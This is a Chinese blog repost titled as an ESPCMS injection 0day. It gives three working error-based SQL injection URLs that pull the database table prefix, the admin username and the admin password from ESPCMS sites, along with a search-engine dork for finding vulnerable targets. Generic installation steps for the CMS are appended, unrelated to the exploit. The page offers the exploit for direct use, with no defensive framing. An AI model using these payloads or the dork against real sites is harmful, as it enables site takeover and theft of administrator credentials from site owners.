espcms最新注入0day

本文详细介绍了一种针对积木网络平台的安全测试方法,通过构造特定的URL参数来获取数据库表前缀、管理员用户名及密码等敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

积木网络上EXP,一步步来。暴出表前缀后,在修改后两句代码里面的表前缀。


爆表前缀:


index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
暴管理员用户名:


index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
暴管理员密码:


 index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,password,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
百度关键字:


inurl:index.php?ac=article&at=read&did=


日期:2011-11-30 
本文转自Linux安全网
ESPCMS V5是一个开源的内容管理系统,主要用于网站建设和管理。以下是安装的基本步骤: 1. **下载最新版本**:首先,访问ESP CMS官网(https://www.espcms.com/),找到适用于您需求的最新稳定版下载包。 2. **解压文件**:将下载的压缩包解压到您的服务器上,通常选择在Web根目录下创建一个名为"esp"的新文件夹。 3. **配置环境**:确保服务器已安装PHP、MySQL等运行环境,并确保它们已经正确配置。检查Apache或Nginx服务器的配置,允许PHP执行。 4. **访问安装页面**:通过浏览器访问`http://yourdomain/esp/install.php`,这里会显示ESP CMS的安装界面。如果服务器需要身份验证,请先登录。 5. **填写信息**:按照提示填写数据库连接信息(数据库名、用户名、密码以及表前缀)、网站标题、管理员账号和密码等信息。 6. **运行安装程序**:确认所有信息无误后,点击"开始安装"按钮,系统会自动完成安装过程,包括创建数据库结构和设置默认权限。 7. **完成安装**:安装完成后,您会被重定向到CMS后台,此时可以登录并开始定制您的网站内容。 8. **初始化设置**:登录后,根据系统的引导进行必要的初始设置,如站点导航、模块配置等。 请注意,这是一般性的安装步骤,具体可能会根据ESP CMS的更新和个人服务器环境略有差异。如果有任何疑问,建议查阅官方文档或寻求技术支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值